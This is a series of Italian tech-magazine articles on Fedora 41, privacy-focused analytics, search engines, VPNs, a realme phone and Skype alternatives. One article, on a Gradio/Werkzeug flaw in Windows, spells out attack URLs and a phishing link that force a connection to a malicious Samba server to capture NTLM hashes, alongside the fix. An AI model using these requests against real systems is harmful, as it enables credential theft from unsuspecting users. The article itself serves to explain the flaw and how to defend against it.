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Installiamo Fedora 41 Workstation
Ideale per sviluppatori, creatori di contenuti e appassionati di tecnologia, questa release unisce un’interfaccia utente moderna con le ultime innovazioni software, mantenendo al contempo la stabilità e la sicurezza che caratterizzano Fedora

Una cosa che apprezzeranno soprattutto i neofiti dei sistemi operativi basati su Linux è l’estrema facilità di installazione e di configurazione di Fedora 41. Come vedrete nella prossima guida, una volta scelta la lingua e il disco rigido, o una sua partizione, tutto il resto viene automaticamente impostato dal programma di installazione. Successivamente, il sistema operativo vi proporrà una breve serie di scelte, come la configurazione della privacy,
dopodiché potrete iniziare a usare Fedora 41.
Cosa c’è di nuovo?
Quest’ultima versione del progetto sponsorizzato da Red Hat, denominata Silverblue, si rivolge a un pubblico molto vasto dal punto di vista dell’esperienza informatica, ma non dimentica chi non possiede un computer particolarmente aggiornato. Per esempio, vengono abilitati in modalità predefinita gli aggiornamenti automatici del bootloader, non solo per i sistemi UEFI, ma anche per quelli dotati del vecchio BIOS. Tra le novità più visibili
abbiamo, invece, l’adozione dell’ultima versione di GNOME, la 47, che rende l’esperienza utente molto più piacevole rispetto al passato, con un chiaro miglioramento delle prestazioni. Di conseguenza viene integrato il Terminale
Ptyxis, in grado di supportare il tema chiaro o scuro, selezionabile per questo sistema operativo. È stato anche integrato in modo predefinito il gestore di finestre Wayland, sebbene possa venire ancora abilitato manualmente il gestore X11, per chi lo preferisce. Ci sono anche novità di carattere più estetico che funzionale, come la possibilità di
personalizzare il colore delle interfacce di GNOME, potendo scegliere soluzioni alternative in modo semplice e pratico nella sezione Aspetto delle Impostazioni. Gli utenti con monitor a bassa risoluzione scopriranno, infine,
che è stato introdotto un supporto specifico per migliorare la loro esperienza.
Muoversi in Fedora
L’ambiente desktop che viene visualizzato all’avvio del sistema operativo mostra un’area di lavoro principale, una secondaria di lato, la dash in basso e un pulsante in alto a sinistra. Il calendario è in alto al centro, mentre in alto a
destra c’è il menu con i controlli principali. Facendo clic sul pulsante in alto a sinistra si visualizza l’area di lavoro a schermo intero, tuttavia se volete usare la dash dovrete fare nuovamente clic su quel pulsante. La dash è personalizzabile con l’aggiunta dei lanciatori delle applicazioni che possono essere visualizzate premendo sul pulsante sulla destra, Mostra applicazioni. Oltre a questo, troviamo il lanciatore per Firefox, l’accesso diretto al
calendario e alle cartelle, un editor di testo e il collegamento allo store online (Software) dall’interfaccia ottimamente strutturata, per arricchire il sistema operativo con applicazioni aggiuntive. La dotazione base non è ricchissima ma vi fornisce gli strumenti più comuni come LibreOffice Calc, Impress e Writer. Anche il multimediale è discretamente coperto con i classici Rhythmbox e Video (Totem).
La procedura di installazione
Test e versione Live
Per essere certi che il vostro hardware sia compatibile con il sistema operativo, nel GRUB lasciate selezionata l’opzione Test this media & start Fedora… e premete INVIO. Al termine del controllo, verrà caricata la versione Live del sistema operativo. Qui fate clic sul pulsante azzurro Install Fedora.
Lingua e partizionamento
Nell’elenco di sinistra della schermata di benvenuto, selezionate Italiano e in quello a destra Italiano (Italia). Fate
clic su Continua, quindi su Destinazione installazione. Qui selezionate il disco rigido su cui installare il sistema operativo e premete su Fatto in alto a sinistra.
Installazione
Nella schermata Riepilogo Installazione fate clic su Avvia installazione. Ora non vi resta che aspettare che la procedura finisca, dopodiché premete su Termina l’installazione. Riavviate il sistema operativo, assicurandovi di avere rimosso il dispositivo con il file ISO di installazione.
Inizio della configurazione
Quando il sistema operativo è pronto, fate clic su Avvia configurazione. Nella schermata Privacy, se volete, premete sugli interruttori delle due opzioni presenti per disattivarle. Poi fate clic su Successiva. Nella nuova schermata, premete su Abilita repository di terze parti e poi su Successiva.
Creazione dell’account
Nella schermata Informazioni personali, digitate nel primo campo il vostro nome utente e fate clic su Successiva. Poi digitate una password sicura e ripetetela nel campo sottostante. Fedora vi avvertirà nel caso sia troppo debole. Premete su Successiva e poi su Inizia a usare Fedora Linux per terminare la configurazione.
Aggiornamenti
A questo punto Fedora 41 vi invita a compiere il tour del sistema operativo. Per evitarlo fate clic su Ignora. Ora premete al centro per attivare la vostra area di lavoro. Quando appare l’avviso della presenza di aggiornamenti, fate clic su di esso e poi su Riavvia e aggiorna, quindi su Riavvia e installa.
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Le alternative a Google Analytics
Capire il comportamento degli utenti sui siti Web è importante per ottimizzarli, ma non dobbiamo violare la loro privacy

Per l’analisi del traffico dei siti, Google Analytics è la soluzione più diffusa, ma presenta diverse criticità in termini di privacy ed etica. Il trasferimento dei dati negli Stati Uniti contrasta con il GDPR e può esporre gli utenti alla sorveglianza governativa, mentre il tracciamento invasivo e la profilazione degli utenti attraverso cookie e tecniche alternative, come il fingerprinting, sollevano preoccupazioni sulla raccolta eccessiva di dati. Inoltre, i proprietari dei siti non hanno pieno controllo sui dati, che vengono elaborati da Google e utilizzati per scopi pubblicitari. Il modello di business di Google Analytics si basa, infine, sulla monetizzazione delle informazioni raccolte ed è in contrasto con i principi di privacy by design del GDPR. Diverse autorità europee per la protezione dei dati, come quelle di Francia, Austria e Italia, hanno dichiarato problematica l’adozione di Google Analytics senza adeguate misure di protezione. Questi fattori rendono rischioso il suo utilizzo per le aziende e i professionisti che vogliono rispettare la privacy degli utenti e restare conformi alle normative europee, ma ci sono ottime alternative.
Una soluzione leggera e Open Source
Plausible Analytics è una piattaforma Open Source estone per l’analisi Web, progettata per offrire un’alternativa semplice, leggera e rispettosa della privacy a strumenti come Google Analytics. Non utilizza cookie e non raccoglie dati personali o informazioni identificabili, garantendo così la conformità alle normative sulla privacy come il GDPR e il CCPA. Tutte le misurazioni del sito vengono effettuate in modo completamente anonimo, senza l’uso di identificatori persistenti o tracciamenti incrociati tra siti o dispositivi. Plausible offre un’interfaccia intuitiva che consente di visualizzare tutte le statistiche essenziali in una singola pagina, facilitando la comprensione del traffico del sito senza la necessità di formazione specifica, e permette di monitorare metriche come le visualizzazioni di pagina, le visite uniche, la durata media della sessione e le fonti di traffico. Inoltre, supporta il tracciamento delle conversioni, l’analisi delle campagne utilizzando parametri UTM e l’integrazione con Google Search Console per una visione completa delle performance del sito. Un altro vantaggio significativo di Plausible è la leggerezza del suo script di tracciamento, che pesa meno di 1 KB. Questo riduce il peso complessivo delle pagine Web, contribuendo a tempi di caricamento più rapidi e a un’esperienza utente migliorata. Offre anche un plug-in Open Source per
WordPress.

L’interfaccia completamente in italiano, oltre alla ricca documentazione nella nostra lingua e ai numerosi strumenti forniti, rendono Vantevo uno strumento potente ma relativamente semplice da usare
Una proposta italiana
Vantevo Analytics è una piattaforma italiana concepita come alternativa a Google Analytics, con un forte focus sulla privacy degli utenti e la conformità al GDPR. La piattaforma non utilizza cookie e non raccoglie dati personali, eliminando la necessità di banner per il consenso e garantendo un monitoraggio rispettoso della
privacy. Le sue funzionalità includono l’analisi delle tendenze di traffico, il comportamento degli utenti e il monitoraggio delle conversioni. L’integrazione è facilitata da plug-in disponibili per piattaforme come WordPress e Shopify, oltre a SDK ufficiali per linguaggi come PHP e JavaScript, disponibili su GitHub. Vantevo ospita i propri server all’interno dell’Unione Europea, assicurando che i dati siano trattati in conformità con le nostre leggi, e il modello di business si basa su abbonamenti a pagamento, evitando la monetizzazione dei dati degli utenti attraverso terze parti. La sua compatibilità è ampia, grazie alla possibilità di integrarsi con qualsiasi piattaforma Web e backend. La ricca documentazione ufficiale in italiano e le risorse disponibili, come le API per registrare visualizzazioni di pagine ed eventi personalizzati lato server, facilitano l’implementazione su diversi sistemi operativi e
ambienti di sviluppo.
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Motori di ricerca europei
Con i colossi voi cercate… e gli inserzionisti vi trovano, grazie a profilazioni sempre più invadenti. Ma ci sono delle alternative!

Google e colossi analoghi memorizzano ogni ricerca associandola a un account o a un indirizzo IP per personalizzare i risultati e mostrare annunci mirati. Il regolamento GDPR presente in Europa impone restrizioni più severe sulla raccolta e il trattamento delle informazioni personali degli utenti, quindi la vostra cronologia delle ricerche e i dati di navigazione non vengono tracciati per creare profili dettagliati. Vale la pena, allora, di valutare i motori di ricerca europei!
Privacy e risultati senza filtri
Qwant è un motore di ricerca francese che pone al centro della sua missione la tutela della privacy degli utenti e la neutralità nei risultati di ricerca. Non traccia le vostre attività online, non memorizza le ricerche effettuate e non utilizza cookie per scopi pubblicitari. Inoltre, i risultati non sono personalizzati ma ordinati per pertinenza e i suoi algoritmi non favoriscono siti o contenuti specifici, rendendo più facile per tutti arrivare nelle prime posizioni dei risultati di ricerca. In questo modo, come sottolinea il suo sito, si evitano le gabbie di filtri che intrappolano le persone mostrando loro sempre più idee simili a quelle da cui sono partite (perché quelle contrarie vengono nascoste) o offrendo prodotti solo sulla base del loro presunto potere d’acquisto. Qwant integra anche nel motore di ricerca un modello di Intelligenza Artificiale e offre un’estensione per Chrome e una per Mozilla Firefox (dal codice Open Source) per impostarlo come motore di ricerca predefinito e bloccare i tracker online. C’è, inoltre, Qwant Lite, una versione del motore di ricerca destinata a browser più datati, dispositivi meno recenti e connessioni Internet a bassa velocità. Infine, nel novembre 2024, Qwant ha annunciato una collaborazione con il motore di ricerca tedesco Ecosia per sviluppare un indice di ricerca europeo indipendente, con l’obiettivo di ridurre ulteriormente la dipendenza dalle API di Microsoft e Google. Questa iniziativa mira a rafforzare la sovranità digitale europea e a promuovere l’innovazione tecnologica locale.

La schermata principale del motore di ricerca francese Qwant, che si focalizza sulla privacy degli utenti senza tracciare le ricerche o raccogliere dati personali. Le impostazioni permettono di modificare vari parametri e ci sono estensioni per Chrome e Firefox
Più tutela e supporto all’ecologia
Ecosia ha sede a Berlino e la sua missione principale è utilizzare i profitti derivanti dalle ricerche degli utenti per finanziare progetti di riforestazione in tutto il mondo. Ha contribuito a piantare centinaia di milioni di alberi in più di 35 Paesi, tra cui Brasile, Senegal e Indonesia. I risultati delle ricerche sono forniti principalmente da Bing, integrati con l’algoritmo proprietario di Ecosia per garantire pertinenza e qualità. Le ricerche sono criptate, non vengono memorizzate permanentemente, e l’azienda non vende dati a inserzionisti terzi. Inoltre, Ecosia non crea profili personali basati sulla cronologia delle ricerche e non utilizza strumenti di tracciamento esterni come Google Analytics. Potete impostarlo come motore di ricerca predefinito su Firefox, Chrome e altri browser scaricando l’estensione dedicata dal rispettivo app store. Per dispositivi mobili, Ecosia ha sviluppato un proprio browser basato su Chromium.
Una VPN senza VPN
Startpage è un motore di ricerca con sede nei Paesi Bassi che mette al centro la privacy degli utenti. Fa da intermediario tra voi e motori come Google e Bing tutelando la vostra riservatezza. Non memorizza gli indirizzi IP e la cronologia delle ricerche e non utilizza tracker per monitorare il comportamento online. Offre, inoltre, una modalità anonima per visitare i siti presenti nei risultati di ricerca attraverso un proxy integrato, nascondendo il vostro indirizzo IP sia su dispositivi desktop sia mobili e operando in modo simile a una VPN. Per usarla, basta fare clic sull’icona della mascherina accanto al sito che volete visitare. Dato che utilizza una connessione HTTPS protetta, consente di mantenere la privacy anche su reti non sicure, come quelle di aeroporti, stazioni e locali pubblici.
Leggi anche: “Il pericolo corre sul browser”
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VPN per tutti i gusti!
Governi invadenti, interessi pubblicitari e server in aree poco tutelate mettono a rischio le vostre reti virtuali private… ma non in Europa

Con le VPN, più ancora che in altri settori, affidarsi a una società americana o di un colosso internazionale comporta rischi per la privacy e la sicurezza dei dati. Leggi statunitensi come il Cloud Act e il Patriot Act possono obbligare
le aziende a consegnare informazioni agli enti governativi, anche se dichiarano una politica no-log. Molte VPN internazionali fanno, inoltre, parte di gruppi con interessi pubblicitari, mettendo a rischio la riservatezza degli utenti. L’infrastruttura dei server può essere meno sicura, con dati ospitati in Paesi con regolamenti poco trasparenti. Alcune VPN hanno rimosso nodi o limitato l’accesso a certi servizi su pressione di governi, compromettendo la libertà online, e i colossi tecnologici danno spesso priorità alla crescita del numero di utenti, trascurando audit indipendenti e un controllo rigoroso sulla protezione dei dati. Per fortuna ci sono varie alternative europee, che offrono maggiore trasparenza, infrastrutture più sicure e una vera politica no-log.
Mullvad VPN per una soluzione integrata
Mullvad VPN è un servizio Open Source sviluppato in Svezia che non richiede la creazione di un account con dati personali. Il sistema assegna un codice numerico anonimo agli utenti, eliminando la necessità di fornire indirizzi email o altre informazioni identificative. Utilizza i protocolli WireGuard e OpenVPN, assicurando connessioni veloci e sicure. Il traffico è crittografato e l’azienda adotta una rigorosa politica no-log, impedendo la memorizzazione di qualsiasi informazione sulle attività degli utenti. L’infrastruttura è composta da server distribuiti in diverse nazioni, tutti gestiti direttamente da Mullvad o da partner affidabili. L’azienda accetta pagamenti anonimi, con criptovalute e contanti, permettendo di acquistare il servizio senza lasciare tracce digitali. Il client VPN è disponibile per Linux, Windows, macOS, Android e iOS, con un’interfaccia semplice e intuitiva che facilita l’utilizzo anche per chi non ha esperienza. Mullvad non utilizza strumenti di tracciamento nel sito e ha superato numerosi audit di sicurezza indipendenti. Offre anche un browser mirato alla massima tutela della privacy.

Mullvad VPN è un servizio svedese e non richiede la creazione di un account con dati personali. Il traffico è crittografato e l’azienda adotta una rigorosa politica no-log
Dagli scienziati del CERN
Proton VPN è un servizio Open Source sviluppato da Proton AG (fondata da scienziati del CERN), i creatori del noto servizio di posta elettronica crittografata Proton Mail. La loro VPN è progettata per garantire privacy, sicurezza e trasparenza, offrendo una delle protezioni più avanzate contro la sorveglianza online. Essendo basato in Svizzera, il servizio è soggetto a rigide leggi sulla protezione dei dati, ancora più restrittive rispetto al GDPR. La Svizzera non fa parte delle alleanze di sorveglianza come Five Eyes o Fourteen Eyes, il che significa che Proton VPN non è obbligato a condividere dati con governi stranieri. Utilizza crittografia AES-256, supporta i protocolli WireGuard e OpenVPN e integra un Kill Switch, protezione contro DNS leaks e la funzione Tor over VPN, che consente un accesso sicuro alla rete Tor direttamente dalla VPN. La tecnologia Secure Core permette di far passare il traffico attraverso server sicuri situati in Paesi con normative sulla privacy molto restrittive, come Svizzera, Islanda e Svezia, prima di accedere a Internet, rendendo più difficile qualsiasi tentativo di sorveglianza. Il servizio è disponibile per Linux, Windows, macOS, Android e iOS.
Specializzati nello streaming
GOOSE VPN è un servizio con sede nei Paesi Bassi, progettato per garantire privacy online e accesso a contenuti con restrizioni geografiche. Una delle sue principali caratteristiche è l’ottimizzazione per lo streaming, che permette agli
utenti di guardare le proprie serie e film preferiti su tutte le piattaforme più note, senza limitazioni o ritardi, indipendentemente dalla propria posizione geografica. Il codice è proprietario ma i prezzi sono competitivi e c’è un’opzione lifetime.
Leggi anche: “Intallare Pronton VPX su Linux”
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Windows nasconde un bug
Una vulnerabilità nelle applicazioni Python mette a rischio la tua sicurezza. Ti diciamo come riconoscerla e difendersi

Se si pensa a un framework Python per lo sviluppo di applicazioni Web, normalmente si pensa a Django. Ma la realtà è che ne esistono diversi, decisamente più “piccoli” e semplici ma che stanno avendo un notevole successo. E questo proprio grazie alla loro semplicità. Uno di questi si chiama Gradio, e sta diventando quasi uno standard tra tutte le nuove app basate su intelligenza artificiale. L’interfaccia Web di Stable Diffusion, per esempio, è realizzata con Gradio, così anche molto interfacce per l’utilizzo domestico di Whisper, oppure di modelli linguistici generativi alternativi a ChatGPT. In ambito enterprise, questi servizi vengono naturalmente forniti da server GNU/Linux, configurati in cluster ad alta affidabilità e con risorse enormi. Tuttavia, ormai la maggioranza delle reti neurali “moderne” è in grado di funzionare anche su hardware consumer: le schede Nvidia della serie 30xx o 40xx sono in grado di far girare software per l’AI generativa. Queste schede sono spesso acquistate degli appassionati di videogame, ma ormai va di moda “giocare” anche con un generatore di immagini, testo o audio. Proprio perché si utilizza un computer desktop, è probabile che il sistema operativo utilizzato sia Windows, che è il più diffuso tra i gamer. Questo significa che si utilizza Python su Windows, con una applicazione Web che per sua natura è esposta alla rete locale del PC, e che ha privilegi di amministrazione (per poter accedere direttamente alla scheda grafica).

Il controllo is_dir() sul percorso, che paradossalmente dovrebbe renderlo sicuro, in realtà innesca la condivisione dell’hash NTLM. Fonte: https://github.com.
FILE NON MOLTO STATICI
Gradio espone delle API, che vengono utilizzate dall’interfaccia Web per eseguire operazioni in background. Per esempio, l’API file consente l’upload di file in una cartella predefinita nella configurazione dell’app. Di default, questa API è disponibile senza autenticazione, per facilitare l’utilizzo: la “sicurezza” è affidata all’idea che, comunque vada, i file verranno caricati dentro una cartella predisposta dallo sviluppatore per ricevere file, quindi si suppone che chi ha attivato l’applicazione abbia già previsto di “isolare” questa cartella con apposite regole. Per esempio, dandole una dimensione massima o prevedendo una pulizia periodica per eliminare tutto quello che non dovrebbe essere presente (file vecchi o che non sembrano legittimi). Per assicurarsi che il file esista e che la cartella sia autorizzata, Gradio utilizza il metodo Python:
Path.is_dir()
che verifica se esista la cartella genitore, e se al suo interno ci sia un oggetto di tipo “cartella” (e non semplicemente file) col nome della cartella richiesta. C’è solo un piccolo problema: Windows cerca di risolvere automaticamente i percorsi di rete, che nella sua sintassi vengono scritti semplicemente con un \\ iniziale. Quindi se qualcuno scrivesse:
http://IPapplicazione/file=\\
IPrisorsadirete\share
Basta fare una chiamata HTTP verso l’applicazione Gradio e il server Samba malevolo riceve l’hash della password dell’utente. FONTE: https://www.horizon3.ai.
Python proverebbe innanzitutto ad accedere alla risorsa di rete, a prescindere da quanto la richiesta possa essere legittima (questo viene controllato dopo).
Questo non accade su sistemi GNU/Linux, perché la sintassi dei percorsi di rete e il comportamento del sistema sono differenti. E Gradio è stato pensato principalmente per sistemi Unix, pur funzionando anche su Windows. Ma qual è il problema del tentativo di accedere a una risorsa di rete? Alla fine, se si cerca di accedere a qualche risorsa che è già pubblica il malintenzionato non ha ottenuto molto. E, invece, se la risorsa richiede autenticazione non ci può accedere comunque. Ma il vero problema è ben più grave: Windows sembra ossessionato dal cercare di far arrivare l’utente su qualunque risorsa desideri, persino facendo un login su server remoti, se necessario. O, almeno, provando a farli. Questo significa che un malintenzionato che trova una app Gradio sulla propria rete può mettere in piedi un falso server Samba con condivisione di file, che richieda autenticazione. E poi interrogare l’app Gradio per farsi dare un file presente sul suo server Samba. Il risultato è ovvio: Python cercherà di accedere alla risorsa di rete e Windows, con la sua mania di “semplificare” le cose, farà automaticamente un tentativo di login, inviando l’hash delle credenziali dell’utente che sta facendo girare l’app Gradio, nella speranza che quelle credenziali siano valide anche per l’accesso alla risorsa di rete. Il server fasullo registrerà l’hash NTLM (hash di autenticazione di Windows), e il malintenzionato avrà lo strumento perfetto per iniziare a fare il brute force della password.
Ci si potrebbe chiedere: quindi basta attivare l’autenticazione anche per l’API file di Gradio? In realtà no, perché è comunque possibile accedere ai file che dovrebbero essere pubblici con un percorso del tipo:
http://IPapplicazione/
static///IPrisorsadirete/
share
Che, almeno nelle versioni di Python per Windows precedenti alla 3.11, viene tradotto nel percorso:
\\IPrisorsadirete\share
Che poi Windows cercherà di esplorare, esattamente come abbiamo visto per l’API file. C’è ancora un piccolo dettaglio da considerare: questa vulnerabilità di Gradio deriva in realtà da Werkzeug, un server WSGI Python su cui si basa Gradio. Teoricamente, visto che la funzione per l’accesso ai file statici deriva da esso, tutte le applicazioni Python basate su Werkzeug sono vulnerabili (anche il famoso Flask in modalità sviluppo, per esempio).
In patica, la reale possibilità di sfruttare la vulnerabilità dipende dall’implementazione, e quella di Gradio sembra l’unica regolarmente vulnerabile di default. Nel caso di Flask, per esempio, dipende se si consenta all’utente di chiedere file “a piacere”, o se invece i file forniti facciano parte di una lista definita lato server. Gradio non pone limiti sui nomi dei file perché in questo modo è molto più facile sviluppare l’applicazione senza dover configurare nei dettagli l’accesso ai file (che potrebbero essere l’output dell’elaborazione dell’AI su cui si basa l’app). Ma, come spesso accade, questa semplicità si paga in termini di sicurezza.
LA VULNERABILITA’
Bisogna innanzitutto considerare che questa vulnerabilità non colpisce i server: considerando che Gradio è utilizzato soprattutto per applicazioni Web che sfruttano modelli di intelligenza artificiale, di solito i server che le ospitano sono grossi cluster GNU/Linux con adeguati meccanismi di protezione. Le vittime più probabili sono semplici appassionati o studenti che sviluppano nuove applicazioni. Per poter sfruttare questa vulnerabilità il malintenzionato deve essere nella stessa rete locale della vittima: il server Samba malevolo può anche essere esposto sulla WAN da parte del pirata, ma questo deve in qualche modo poter fare una chiamata HTTP verso l’applicazione, che sarà presumibilmente eseguita su un PC personale ed esposta su tutti gli indirizzi IP di quel computer, IP LAN incluso.
La vulnerabilità è quindi abbastanza limitata, anche se non si può escludere che l’utente venga indotto a fare egli stesso la chiamata; basterebbe infatti una email di phishing con un link che punta a un indirizzo del tipo:
http://localhost/static///
IPWANSambaMalevolo/share
E l’attacco avrebbe successo. Bisogna anche considerare che il malintenzionato otterrebbe l’hash NTLM, e dovrebbe comunque poi procedere con un bruteforce della password: se l’utente ha scelto una password sufficientemente sicura, il pericolo è tutto sommato ridotto.
LA SOLUZIONE
Il problema principale è risolto se si utilizza Python 3.12: in questa versione la funzione Path.is_dir() si accorge della presenza di un percorso di rete e lo ignora. Gradio non ha previsto fix specifici, proprio perché in realtà il problema era legato alla libreria Python, il framework web era soltanto uno strumento per sfruttare il bug e ora che è risolto il problema non si pone più. Riguardo al problema di fondo, cioè il fatto che Windows cerchi di autenticarsi anche su share di rete di cui non dovrebbe fidarsi, non è risolvibile: in fondo, per Windows questo non è affatto un bug, è una feature.
Leggi anche: “Windows sotto attacco“
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realme GT 7T, grande autonomia e comoda IA

Il produttore cinese realme lancia oggi sul mercato due nuovi smartphone, il GT 7 e il GT 7T. Tra i due il primo è il più potente, ma anche il secondo, di cui parliamo in questo articolo, si difende davvero bene avendo, forse, un miglior rapporto qualità/prezzo. Ma vediamone le caratteristiche, dando qualche giudizio dopo i primi test eseguiti in anteprima.
CPU MediaTek
Partiamo dal cuore dello smartphone. Dentro alla particolare scocca, di cui parleremo a breve, troviamo il chipset MediaTek Dimensity 8400-MAX. Questo processore, realizzato da TMSC con un processo costruttivo a 4nm, ha prestazioni inferiori al Dimensity 9400 che anima il realme GT7, ma non di tanto, e si difende abbastanza bene anche in confronto di CPU di altri produttori. Inoltre supporta lo stesso modello di Intelligenza Artificiale del “fratello più grande”, inclusa la compatibilità con Google Gemini Nano2. Tornando alla scocca, adotta un design chiamato IceSense Graphene, una soluzione innovativa che utilizza il grafene – materiale all’avanguardia con una conducibilità termica 10 volte superiore rispetto alle pellicole di grafite convenzionali. Integrato nella cover posteriore e nello schermo dello smartphone, IceSense Graphene consente una dissipazione del calore ultra-efficiente a 360°. Nei nostri test, anche ponendo il telefono “sotto sforzo”, in effetti non si è mai scaldato tanto da non poterlo tenere in mano, anzi. Questo è merito anche della camera di vapore che copre il 65% della superficie, permettendo così alle componenti di mantenere temperature ottimali anche durante sessioni di gioco intense. Infine, lo smartphone è certifica IP69. La scocca è disponibile nelle colorazioni IceSense Blue, Racing Yellow e IceSense Black. Una nota/critica: il retro del telefono è bella da vedere, con la sua colorazione gialla e un bel design. Non capiamo quindi come mai realme si ostini a inserire in confezione una cover in silicone non trasparente (è nera/grigia scura). Un peccato.
Altro punto di forza, lo schermo
Il GT 7T è dotato di un grande schermo AMOLED COP da 6,8’’. La risoluzione è di 2800×1280 pixel con una frequenza di aggiornamento di 120Hz e una frequenza di campionamento massima di 360 Hz (predefinita a 120 Hz). Offre un contrasto di 5.000.000:1, luminosità di 1000/1800 nit e profondità colore di 1.07 miliardi di colori, con supporto HDR+. Lo schermo è praticamente senza cornici, si vede ottimamente in ogni condizione di luce – anche sotto il Sole pieno – e non trattiene più di tanto le ditate. Affogato nel display troviamo un sensore di impronte molto veloce.
Memoria e storage
Troviamo in commercio due configurazioni. Entrambe includono 12 GB di RAM mentre per lo storage interno, di tipo UFS 4.0 quindi veloce, possiamo acquistare i modelli con 256 GB o 512 GB. La memoria non è estendibile tramite microSD.
Batteria gigante
E veniamo all’elemento che più ci ha sorpreso in questo GT 7T: la durata della batteria. Si tratta di una batteria Titan da ben 7000 mAh che supporta una ricarica rapida SUPERVOOC da 120W. Da quel che ci risulta, è il primo smartphone ad avere questa combinazione. Nei nostri test abbiamo raggiunto i tre giorni di utilizzo prima di dover ricaricare il telefono facendone un uso medio: qualche telefonata, 5G e Wi-Fi sempre connessi quindi con un po’ di navigazione sia in ufficio sia in giro, circa due ore di riproduzione video da YouTube al giorno e qualche altra app usata. Nessun gioco, in questo caso. Alla fine dei tre giorni ci era rimasto circa il 10% di batteria. Nella confezione in anteprima che abbiamo ricevuto non era presente il caricabatterie da 120W, quindi non sappiamo quanto tempo ci vuole per una ricarica completa alla massima velocità.
Comparto fotografico
Il GT 7T ha una configurazione a doppia fotocamera posteriore. Quella principale è un sensore Sony IMX896 da 50 MP da 1,56’’ con apertura f/1.8. La seconda è una fotocamera ultra-grandangolare da 8 MP con sensore OV08D10 e apertura f/2.2. Per i selfie, troviamo una fotocamera frontale IMX615 da 32 MP f/2.4. La qualità delle foto è molto buona considerando gli smartphone di fascia medio/alta in circolazione, e sono disponibili diversi filtri e anche diverse funzioni IA che migliorano i risultati. Molto interessante la possibilità di registrare video in 4K a 60fps sia con la fotocamera posteriore che con quella frontale, inclusa una modalità subacquea in 4K a 60fps.
Il sistema operativo
Di serie troviamo Android 15 con l’interfaccia proprietaria Realme UI 6.0. Ci sono alcune app preinstallate, che comunque si possono disinstallare se non necessarie. In tutte le nostre prove il telefono si è sempre dimostrato molto fluido e l’interfaccia è piacevole. In particolare troviamo una nuova funzionalità, chiamata Pianificatore AI, che si abilita dalle impostazioni di accessibilità. Questa funzione, potenziata dall’IA, è in grado di “leggere” il contenuto dello schermo e se è presente la data e l’ora di un evento, crea automaticamente un evento nel calendario dell’app Calendario di realme. Questa funzione, una volta abilitata, si attiva semplicemente facendo un doppio tap al centro del retro del telefono. L’abbiamo trovata utile, ma non versatile come funzionalità simili viste su un altro telefono, per la verità. Dal punto di vista della connettività troviamo 5G, Wi-Fi 6, NFC a 360°, Bluetooth 6.0, Dual Band GPS e USB Type-C versione 2.0. Supporta doppia SIM Nano.
Infine, i prezzi
Il GT 7T è uno smartphone di fascia medio/alta. Lo troviamo ora su Amazon (https://www.amazon.it/dp/B0F3HQ7B3Y) a 549,99 € (12+256 GB) e 599,99 € (12+512 GB) con incluso il caricatore da 120W. I prezzi di listino sono pari a 649,99 € e 699,99 € rispettivamente. Nei negozi, invece, troviamo offerte differenti. Dal 30 maggio al 30 giugno troveremo il GT 7T 12/512 GB a 599,99 € su Unieuro/Mediaworld/Expert/Euronics/Trony.
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L’alternativa open source a Skype
Microsoft chiude Skype: è arrivato il momento di valutare delle alternative per proteggere la propria privacy e la propria autonomia

Skype non è più disponibile, al suo posto Microsoft consiglia gli utenti di passare a Microsoft Teams Free, dove è possibile trasferire chat e contatti. I dati di Skype rimarranno esportabili fino a gennaio 2026, dopodiché verranno eliminati se non si effettua il passaggio. Questo momento di cambiamento forzato per chi usa quel servizio di messaggistica può essere l’occasione per passare a un’alternativa locale e magari Open Source. Anche se usate altri servizi proprietari, come Slack o WhatsApp, valutare delle alternative può essere molto utile per la vostra privacy e autonomia.
Spazio alla privacy dei vostri messaggi
Wire è una piattaforma svizzera di messaggistica sicura e collaborazione aziendale sviluppata da Wire Swiss GmbH. Il suo punto di forza è l’approccio alla privacy e alla sicurezza, con un sistema di crittografia end-toend su tutti i contenuti scambiati, inclusi messaggi di testo, chiamate vocali, videochiamate e condivisione di file. A differenza di molte altre piattaforme di comunicazione, inoltre, Wire è Open Source e conforme alle normative europee sulla protezione dei dati, come il GDPR. Disponibile su Linux, Android, Windows, macOS, iOS e attraverso una versione Web, può accompagnarvi su tutti i vostri dispositivi. Supporta chat individuali e di gruppo, oltre a tutte le funzioni citate, quindi è utile sia per l’uso personale sia per la collaborazione aziendale. Inoltre, offre la possibilità di fare il selfhosting su server privati per un controllo totale sui dati, un’opzione interessante per chi ha bisogno della massima riservatezza. Può andare a sostituire sia Skype sia Slack, anche se è meno ricco di quest’ultimo dal punto di vista degli strumenti avanzati di collaborazione e integrazione con altre piattaforme di lavoro. Per computer desktop è disponibile per lo scaricamento come AppImage e c’è un repository per le distribuzioni basate su Debian. Altrimenti potete usarla da browser con l’ultima versione di Chrome (che integra anche le chiamate), Firefox o Microsoft Edge, oppure compilare i sorgenti che trovate su GitHub.

kChat è un servizio di messaggistica istantanea conforme alle normative europee sulla privacy, attento alla protezione dei dati e con hosting esclusivamente in Svizzera
Una suite per lavorare tutelati
Una soluzione interessante, soprattutto per gli utenti di opzioni professionali come Slack, è kChat, un servizio di messaggistica istantanea aziendale sviluppato dalla svizzera Infomaniak come parte della suite collaborativa kSuite. È progettato per offrire una soluzione di comunicazione sicura e conforme alle normative europee sulla privacy, con
particolare attenzione alla protezione dei dati e all’hosting esclusivamente in Svizzera. Si basa su Mattermost, un progetto Open Source per la comunicazione aziendale, e offre funzionalità avanzate di chat, organizzazione in canali tematici e collaborazione tra team. Il codice sorgente della versione desktop è disponibile su GitHub. La procedura di registrazione è un po’ più lunga di quella di Wire, ma vi dà accesso all’intera suite di strumenti di kSuite, che includono kDrive per l’archiviazione cloud collaborativa, che consente di salvare, condividere e modificare documenti in tempo reale, un’app calendario e un account per la posta elettronica, e vi permettono di mantenere il controllo totale sui dati aziendali. Il programma, inoltre, ha l’interfaccia in italiano, anche se per creare l’account dovrete gestire qualche frase in francese.
TUTORIAL SU WIRE
Create il vostro account
Andate su https://app.wire.com/auth/#/ e create un account scegliendo tra Personal per uso privato e Wire for Free per l’utilizzo in un gruppo di lavoro. Nel secondo caso, dovrete creare un team e invitare altre persone o unirvi a uno esistente.
Definite le impostazioni audio e video
Con Personal, inserite nome, email e password e fate clic su Register. Vi verrà inviato un codice di verifica via email.
Impostate il nome utente e vi troverete nell’interfaccia principale, dove potrete settare le impostazioni in Settings > Audio/Video.
Esplorate l’interfaccia
Sempre in Settings avete altre opzioni. Sulla barra laterale, invece, potete accedere a favoriti e gruppi e anche suddividere le vostre conversazioni in cartelle, da spostare nell’archivio quando non sono più attive per mantenere tutto ordinato.
Cercate altri utenti
